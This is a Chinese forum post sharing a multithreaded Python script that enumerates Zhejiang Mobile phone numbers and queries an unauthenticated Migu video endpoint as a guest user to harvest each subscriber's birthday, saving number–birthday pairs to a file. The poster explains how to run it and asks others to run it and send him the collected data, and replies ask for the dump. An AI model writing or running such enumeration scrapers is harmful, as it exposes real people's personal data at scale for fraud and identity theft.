浙江移动查生日多线程批量导出
本帖最后由 q59541511 于 2018-10-25 15:55 编辑import requests
from lxml import etree
from threading import Thread
import time
def get_bdate(fristdatalist):
datalist=[]
for iphonenumber in range(10000):
number=fristdatalist+str(iphonenumber).zfill(4)
params = {
'user': 'guest',
'vt': '9',
'userId': number
}
response = requests.get('http://aikanvod.miguvideo.com/video/p/getUserLabelsForNd.jsp', params=params)
try:
bddatejson = response.json()
except Exception as e:
print('json失败')
continue
try:
data = number+'-'+bddatejson['longTable']['labelValue']
datalist.append(data)
print(data)
except Exception as e:
print(number+'没有生日数据')
return datalist
def write_data(datalist):
strdatalist = '\n'.join(datalist)
with open('188data.txt','a') as f:
f.write(strdatalist)
def my_threading(frist_num):
write_data(get_bdate(frist_num))
def get_fristnumberlist(number):
response = requests.get('http://www.guisd.com/hd/'+str(number)+'/zhejiang/')
xpobj = etree.HTML(response.text)
fristnumberlist = xpobj.xpath('//*[@id="heilongjiang"]/dd//text()')[:-1]
return fristnumberlist
list = ['134','135','136','137','138','139','150','151','152','157','158','159','188']
for i in list:
numberalllist= get_fristnumberlist(i)
for num in numberalllist:
p = Thread(target=my_threading, args=(num,))
p.start()
time.sleep(3600)
我一会儿要去上学了,我没有服务器跑。谁跑下来了请发我一份谢谢
食用方法 c+v复制到txt然后保存为haha.py 下载模块然后在相对目录创建一个188data.txt
python3 haha.py
跑完了吗把结果发一份呗谢谢 感谢楼主分享代码 还有这种操作 支持一波 {:1_921:}{:1_921:}{:1_921:} 楼主有数据吗 小黑LLB 发表于 2019-2-21 22:19
感谢楼主分享代码 还有这种操作 支持一波
老哥,你有没有
页:
[1]